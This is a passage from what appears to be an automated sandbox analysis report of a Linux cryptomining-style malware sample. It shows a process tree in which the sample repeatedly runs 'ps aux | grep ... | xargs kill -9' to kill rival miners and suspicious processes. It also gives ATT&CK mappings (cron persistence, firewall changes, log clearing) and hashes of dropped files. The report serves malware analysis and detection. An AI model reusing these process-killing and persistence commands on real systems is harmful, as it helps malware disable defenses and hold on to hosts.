  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1759
- /usr/bin/awk
  awk "{print \$1}"
  2⤵
  PID:1758
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1764
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1763
- /bin/grep
  grep /tmp/sscks
  2⤵
  PID:1762
- /bin/grep
  grep -v grep
  2⤵
  PID:1761
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1760
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1768
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1769
- /bin/grep
  grep "sleep 60"
  2⤵
  PID:1766
- /bin/grep
  grep -v grep
  2⤵
  PID:1767
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1765
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1773
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1774
- /bin/grep
  grep ./crun
  2⤵
  PID:1771
- /bin/grep
  grep -v grep
  2⤵
  PID:1772
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1770
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1779
- /usr/bin/awk
  awk "{if(\$3>80.0) print \$2}"
  2⤵
  PID:1778
- /bin/grep
  grep -v grep
  2⤵
  PID:1777
- /bin/grep
  grep -vw kdevtmpfsi
  2⤵
  PID:1776
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1775
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1783
- /bin/grep
  grep :3333
  2⤵
  PID:1782
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1784
- /bin/grep
  grep -v grep
  2⤵
  PID:1781
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1780
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1789
- /bin/grep
  grep :5555
  2⤵
  PID:1787
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1788
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1785
- /bin/grep
  grep -v grep
  2⤵
  PID:1786
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  - Reads runtime system information
  PID:1794
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1793
- /bin/grep
  grep "kworker -c\\"
  2⤵
  PID:1792
- /bin/grep
  grep -v grep
  2⤵
  PID:1791
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1790
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1799
- /bin/grep
  grep log_
  2⤵
  PID:1797
- /bin/grep
  grep -v grep
  2⤵
  PID:1796
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1798
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1795
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1806
- /bin/grep
  grep systemten
  2⤵
  PID:1804
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1805
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1802
- /bin/grep
  grep -v grep
  2⤵
  PID:1803
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1811
- - /usr/local/sbin/kill
    kill -9 14
    3⤵
    PID:1812
- - /usr/local/bin/kill
    kill -9 14
    3⤵
    PID:1812
- - /usr/sbin/kill
    kill -9 14
    3⤵
    PID:1812
- - /usr/bin/kill
    kill -9 14
    3⤵
    PID:1812
- - /sbin/kill
    kill -9 14
    3⤵
    PID:1812
- - /bin/kill
    kill -9 14
    3⤵
    - Reads CPU attributes
    PID:1812
- /bin/grep
  grep netns
  2⤵
  PID:1809
- /bin/grep
  grep -v grep
  2⤵
  PID:1808
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1810
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1807
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1817
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1816
- /bin/grep
  grep voltuned
  2⤵
  PID:1815
- /bin/grep
  grep -v grep
  2⤵
  PID:1814
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1813
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1822
- /bin/grep
  grep darwin
  2⤵
  PID:1820
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1821
- /bin/grep
  grep -v grep
  2⤵
  PID:1819
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1818
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1827
- /bin/grep
  grep /tmp/dl
  2⤵
  PID:1825
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1826
- /bin/grep
  grep -v grep
  2⤵
  PID:1824
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1823
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1832
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1831
- /bin/grep
  grep /tmp/ddg
  2⤵
  PID:1830
- /bin/grep
  grep -v grep
  2⤵
  PID:1829
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1828
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1837
- /bin/grep
  grep /tmp/pprt
  2⤵
  PID:1835
- /bin/grep
  grep -v grep
  2⤵
  PID:1834
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1836
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1833
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1842
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1841
- /bin/grep
  grep /tmp/ppol
  2⤵
  PID:1840
- /bin/grep
  grep -v grep
  2⤵
  PID:1839
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1838
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1847
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1846
- /bin/grep
  grep "/tmp/65ccE*"
  2⤵
  PID:1845
- /bin/grep
  grep -v grep
  2⤵
  PID:1844
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1843
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1852
- /bin/grep
  grep "/tmp/jmx*"
  2⤵
  PID:1850
- /bin/grep
  grep -v grep
  2⤵
  PID:1849
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1848
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1851
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1857
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1856
- /bin/grep
  grep "/tmp/2Ne80*"
  2⤵
  PID:1855
- /bin/grep
  grep -v grep
  2⤵
  PID:1854
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1853
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1862
- /bin/grep
  grep IOFoqIgyC0zmf2UR
  2⤵
  PID:1860
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1861
- /bin/grep
  grep -v grep
  2⤵
  PID:1859
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1858
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1867
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1866
- /bin/grep
  grep 45.76.122.92
  2⤵
  PID:1865
- /bin/grep
  grep -v grep
  2⤵
  PID:1864
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1863

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Sudo and Sudo Caching

T1548.003

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Sudo and Sudo Caching

T1548.003

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Indicator Removal

T1070

Clear Linux or Mac System Logs

T1070.002

Credential Access

Discovery

Process Discovery

T1057

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/log_rot

Filesize
5B

MD5
727479ef7cedf30c03459bec7d87b0f0

SHA1
2082e7f715f058acab2398d25d135cf5f4c0ce41

SHA256
29872037c9573567744ef10ed2de57864ded7554c9fa2ef03fc1244c65794ba6

SHA512
4cb59d37f8481f9bb2745f494baa0910a68aad40ac2903ef1513547e091e1e772a5f9436f789ab91fcafb75b8a28c2112ede89004be41f33c01d936b542ca6ba

Download Submit
/var/mail/user

Filesize
825B

MD5
d9773c61d59c3ada9d972adcdc93cf42

SHA1
df0b666b29604ccc4cd6c0a183c7c06cc7e45b92

SHA256
18e6f52b8cf94333fddd1125570a4ec0203eadc56d61a86f9d8d1d1c1d7f4d9f

SHA512
b3650961d369fedb20f9f2cc7f0f2f4f7fd7f0125f1f9aca0c2db1d2f5c3da1737899c45be6b6aeb98b69ea6fbdffabb92fe9d554175fad1d43f2011ec816453

Download Submit
/var/mail/user

Filesize
1KB

MD5
3616b4ee034ca773beacd5aadf14433a

SHA1
4b60da9e85185f100f819447495c4e076ba7784c

SHA256
d88c319d78ffa43631645ae18824375df7b857a6db8b60219d199c15c4ec0e6b

SHA512
9367dadf16ea0f23e863650e96768d9a5b6dc93e5edf251a5f21e71dd2b48b804f69813c857915282f58cad0274462b64911d5ddaac4c3e69344776f67f4842c

Download Submit
/var/spool/cron/crontabs/tmp.9Z3dYd

Filesize
175B

MD5
6f5bd51adde3f873fe789e2e6fc97376

SHA1
8f85075f8a1da5fdfd3c70946a4ceddf766c8cb4

SHA256
bea1e6ecb763b4e08ac367c105641f0f3082647d17160a11e5ce8222817f8bc2

SHA512
e1cb938e54b2ad3a60fc1ea9dacc2756d8775bf2e251b475519bd2e3ea4101204fb089831de4e75e378fa21bd1c26a34a0e3e20b98d255a024fc43bf961dbcc7

Download Submit
/var/spool/cron/crontabs/tmp.OR7vjk

Filesize
175B

MD5
8df87fe08a070667e8455431fdb8b138

SHA1
9209d108a2dd34c4b3c1f1bd8fb356c4060b6ad9

SHA256
ec9161be70df796e6bed26afc39ca2d75fed59e13d1ef07bb343f293aed6e664

SHA512
e20d4d8d2ede72d8fad2050e245d591f585bf6f073d8c42d279320dbd4669a4bd4a373d26f8d54a3c7b735957dc0aa1bef3a71587b3691acb490e8fb769569db

Download Submit
/var/spool/cron/crontabs/tmp.SU7xsg

Filesize
175B

MD5
8ae6539d05a6d53c52e275d55056f572

SHA1
8b6608889125891420e62b2ee1f17f0d84a4e6d5

SHA256
5541b6c1df66d01c65dbbc23c97a4df61451b9ba2a685254222a19e3fe8ff00e

SHA512
ca90036e9dbd774153b37d8cf41fe711b4b6dcb88c5a5a323abc234e8219fac16c06d663df74505cd76042e61c96fbad23d5bf17a1d239d9fee6163968c20a23

Download Submit
/var/spool/exim4/input/1tmONB-0000An-5A-D

Filesize
128B

MD5
d76ec2f34450e7be03c7fc3907b61d15

SHA1
dacb8108b9983655ff1966ec6d9724bc409bc068

SHA256
d46a1a6e83440766f3c983a62d0bbb9f892ab40914a96a3bd6efda27b6a3535a

SHA512
7bfd11dccbe84923acd21a5e4c54d9f2914d23e822d9724731aac59e3e6dc3408aeace1780507fddfd7136d2de581b9941b9d0a44d57659203ade0659429d59f

Download Submit
/var/spool/exim4/input/1tmONB-0000An-5A-J

Filesize
34B

MD5
d7d96d63d643a4ce3e408eba7dfcedc5

SHA1
c53607f95c5c57beafc1d8266646797a035f76ea

SHA256
21db3a59b2d0ce18fb250b787d6e2c85d12919f5fdf1448c8f48207c4083b159

SHA512
703a03e54776a6ad9b8adc6c475bbc91c06502618fa3b6f495b1a01a4f6f7aa6fb65dc6ba6885ddc6af961627062f1ce1e1d66688288cbd3bef7754d249fa9b3

Download Submit
/var/spool/exim4/input/1tmONB-0000Aq-4i-D

Filesize
146B

MD5
488a08565ab3377bc32098dddcb9d871

SHA1
cc17ace13289a4260b61a0711d923840ed98eaf9

SHA256
04c7866f3b2c52e02134a8dfba7762a0fa13a90741006033a564191fbb4383e8

SHA512
f9cd57de6636e5366673f591887cb4b0b147a16fe2650b949443eedfb551b5f63fcb6149c74af16fe38a8838d06d831a20f557aadf280361a4ca8972e3b51c04

Download Submit
/var/spool/exim4/input/hdr.672

Filesize
915B

MD5
6c2b70dd82810c10ff9196670cee5fca

SHA1
8c9a009cd6dfb88f884bccc230b78be3873e4e74

SHA256
283552edbaabc1840c44cb5414bd97da7e150b92b11f660858d023b9d7fdcc44

SHA512
ce10a70e0dc562bf0779658a842ec20bf053bc2f884c570de2cedccde8e9c0d035a1f263d7dc3ef406edfbf1d27508e53febd106a9d73262e4aa4e6429936164

Download Submit
/var/spool/exim4/msglog/1tmONB-0000An-5A

Filesize
288B

MD5
e4924575d4a4bb616cc65b9dcc7b3586

SHA1
8456748207aca532f7b798b8f6e6ec62300ba074

SHA256
75b9cb4250558db40dce0dd48acd99ea2b32cb3e303dee0ec24bcedadddb50b9

SHA512
86140e6bdebca75aba97d65310242d1546427330f63df133eae0057d727cd09376cde53c1fc8f898d209b9fd56e0b3a98231c3453164c1dcc61e18b75c40caee

Download Submit
/var/spool/exim4/msglog/1tmONB-0000An-5A

Filesize
89B

MD5
33411f97995929187fb48c2896b5217b

SHA1
334664a428cf14582b73f82270180bca4a51b013

SHA256
cf76362d591202eedeeb505829f060b827fdac35b243a0e2305e1968a35e58d4

SHA512
ad7774b6d15dbd34735e8a9d56eb72824e87e15d5a1abd07f75948dd742349474e38c53305f4311fbb19a0f8c3259ffd8263ba32d4b6346741f0a07ff612387f

Download Submit
/var/spool/exim4/msglog/1tmONB-0000Aq-4i

Filesize
288B

MD5
c90efae34fe1957c902454e234ffeb1b

SHA1
f3a205505df6a4c0b7026602d671ab0552b1c5a7

SHA256
03fac8e1825e186b6cada4d606f15f7d5bbdb6d1391c12fa8b6d23de8f33d956

SHA512
a5f32358e01084cd08603926ed7fe196a44e942c346f4dc8f785eb1a622939e7dfe93e881d5fec987eddcb6a56c3f54ee33effe6b1f5112ca7513480a0831c53

Download Submit
/var/spool/exim4/msglog/1tmONB-0000Aq-4i

Filesize
89B

MD5
36d1318ddb969aca6e76ed50b74ea683

SHA1
b4faf7c7189268441d9eb6489db0ab8295485662

SHA256
a85392ba9b4c616564b7c42322256332add48ff67ed2ccb7c9bd1209a9bbeda3

SHA512
f33c82c8df8f7262cb95c9cd4132f33c630efd2de9ffaef49325d315ce34bca9d7574176b5f60a283388b95541127b7e4db0218859fb10b40d240ad3a8088c5f

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads